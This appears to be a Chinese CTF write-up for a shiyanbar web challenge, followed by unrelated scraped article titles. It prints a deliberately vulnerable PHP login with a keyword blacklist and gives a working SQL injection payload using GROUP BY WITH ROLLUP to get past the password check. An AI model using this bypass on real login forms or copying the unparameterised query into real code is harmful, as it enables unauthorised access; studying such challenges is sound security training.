这个题目还是比较新鲜的,很久没回实验吧了学到了很多的姿势~不得不说不看提示真心想不到这些,嗯。

首先我们需要了解题目中php的工作原理,首先审源码得到了source.txt得到了源码,然后我们看一下源码干了什么,主要就是一个登陆认证!

<?php
error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){  if (is_array($StrValue)){$StrValue=implode($StrValue);}if (preg_match("/".$ArrReq."/is",$StrValue)==1){   print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query);if($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "浜﹀彲璧涜墖锛?";}
}else{print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

可以看到主要是
$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”;
这句话过滤了很多关键词,加上function AttackFilter这个函数起到了过滤的作用,这里是巧妙地用了select过程中​​用group by with rollup这个统计的方法进行插入查询。我们用mysql做几个小实验就明白这个是怎么用的了!

mysql> create table test (
    -> user varchar(100) not null,
    -> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
| admin | mypass     |
| admin | NULL       |
+-------+------------+
3 rows in setmysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user  | pwd    |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user  | pwd  |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set 

哎,然后我们就看到关键了,这个查询的时候可以想办法
让pwd变成空,而且user这一列用的却是也是存在的字段!
这就很好用了!又有if (mysql_num_rows($query) == 1)知道只要一列

然后我们构造payload
’ or 1=1 group by pwd with rollup limit 1 offset XX#
然后一个试出来就行啦。涨姿势!
这是第二届北京网络安全技术大赛夺旗赛Writeup(Web安全篇)​的一个题目

实验吧 因缺思汀的绕过 By Assassin(with rollup统计)相关推荐

  1. 实验吧-因缺思厅的绕过writeup

    实验吧-因缺思汀的绕过WriteUp 题目地址:http://www.shiyanbar.com/ctf/1940 审计网页代码,发现有一个注释:<!--source: source.txt-- ...

  2. 因缺思汀的绕过——实验吧

    因缺思汀的绕过分值:20 来源: pcat 难度:中 参与人数:9534人 Get Flag:3087人 答题人数:3370人 解题通过率:92% 访问解题链接去访问题目,可以进行答题.根据web题一 ...

  3. [实验吧](web)因缺思厅的绕过 源码审计绕过

    0x00 直接看源码吧 早上写了个注入fuzz的脚本,无聊回到实验吧的题目进行测试,发现了这道题 地址:http://ctf5.shiyanbar.com/web/pcat/index.php 分析如 ...

  4. 因缺思厅Qpython爱之初体验

    歪瑞歪瑞因缺思厅的APP ---------------------------------除了美观基本上没什么卵用的分割线----------------------------------- Qp ...

  5. 实验吧—Web——WP之 上传绕过

    我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ...

  6. java程序设计实验一_20145210姚思羽《Java程序设计》实验一实验报告

    实验一 Java开发环境的熟悉(Linux + Eclipse) 实验内容 1.使用JDK编译.运行简单的Java程序: 2.使用Eclipse 编辑.编译.运行.调试Java程序. 实验知识点 1. ...

  7. 因缺思厅的程序员故事

    1.面试 面试官:熟悉哪种语言?   应聘者:C# 面试官:知道什么叫类么?   应聘者:我这人实在,工作努力,不知道什么叫累. 面试官:知道什么是包?   应聘者:我这人实在,平常不带包,也不用公司 ...

  8. 华为HCNA实验15-配置缺省静态路由

  9. php逻辑难是难在sql,[实验吧] 所有web writeup

    实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...

  10. 实验吧web题(26/26)全writeup!超详细:)

    #简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...

最新文章

  1. 阿里公开核心技术:如何摘下4项世界冠军,推理性能比第二名快5倍
  2. Datatable中对某列求和,三种不同情况下的方法 .
  3. 东京理科大学 计算机系,东京理科大学
  4. STM32的map文件学习笔记
  5. java setlayout_Java Button.setLayoutX方法代码示例
  6. gson读取json字符串_Java:JSON(Gson)从JSON字符串获取值
  7. 昆仑通态如何连接sqlserver数据库_sqlserver数据库怎么开启远程连接,给到别人访问...
  8. 如何做带宽估计和丢包策略
  9. 测试小阿姨的mac装机列表❤️(不定时更新~)
  10. 大文件读取mmap磁盘映射
  11. javascript 下载和打印文件流
  12. 设计模式----建造者模式 Builder 适配器 Adapter桥接 BridgeCommand命令
  13. 家用台式计算机硬件配置清单,家用台式电脑配置清单
  14. 鸿蒙系统1004无标题,华为P50 Pro外观基本确认:居中开孔全面屏首发鸿蒙操作系统...
  15. HTTPS访问Git远程仓库,上报SSL证书错误解决方法
  16. 课堂在线录屏:EV录屏软件配置设置
  17. 洛谷P1156 垃圾陷阱 题解浅谈刷表法与填表法
  18. ADI官网资料检索技巧
  19. 阿里云服务器+MobaXtern+Anaconda
  20. 2021年中国可见光通信(VLC)市场趋势报告、技术动态创新及2027年市场预测

热门文章

  1. Python:7-1 温度转换 (6分)
  2. 华为认证网络工程师培训教程集
  3. Microbiome:根际微生物影响植物开花时间
  4. 数控弯管机xyz转换ybc的算法_一种弯管数控数模到CAD数模转换的方法与流程
  5. 港股通接口获取香港交易所上市股票的基本信息
  6. HP Proliant DL360 Gen9服务器开箱
  7. dayjs格式化使用
  8. 【CS学习笔记】14、powerup提权的方法
  9. AtCode ABC069 C-4-adjacent
  10. 【前端性能】浅谈域名发散与域名收敛